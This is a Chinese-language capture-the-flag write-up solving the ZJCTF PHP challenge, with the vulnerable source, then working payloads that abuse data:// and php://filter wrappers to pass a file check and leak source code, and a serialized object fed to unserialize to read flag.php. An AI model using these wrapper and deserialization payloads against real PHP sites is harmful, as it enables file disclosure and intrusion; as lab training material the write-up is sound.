本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助

打开靶机,发现一段源码,需要进行代码审计了,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"]; //从GET请求中分别获取三个参数:text,file,password
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){//检查file_get_contents($text,'r')是否返回字符串"welcome to the zjctf"
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){ //正则表达式检查file参数中是否包含"flag"字符串
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password); //反序列化password参数并输出
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

大概分析需要绕过两关:(后面发现flag的输出点在反序列化那里)
1.绕过file_get_contents($text,’r’),我们并不知道哪个文件内容是需要的字符串;
2.反序列化password

绕过file_get_contents($text,’r’)

payload:

1
?text=data://text/plain,welcome to the zjctf

data://协议允许直接在URL中嵌入数据,text/plain指定了数据的MIME类型

当使用data://text/plain,welcome to the zjctf作为text参数时:
file_get_contents()会直接从data URL读取内容
返回的内容正好是 “welcome to the zjctf”,满足条件判断

根据提示,使用php的filter协议查看useless.php源码,
payload:

1
?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php


base64解码

刚好是我们反序列化需要的类,只需要触发__tostring魔术方法就行了,

1
2
3
4
5
6
7
8
<?php
class Flag{
public $file='flag.php';
}
$flag1=new Flag;
$str=serialize($flag1);
echo $str;
?>


将输出结果赋值给password
最终payload:

1
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}



查看源码获得flag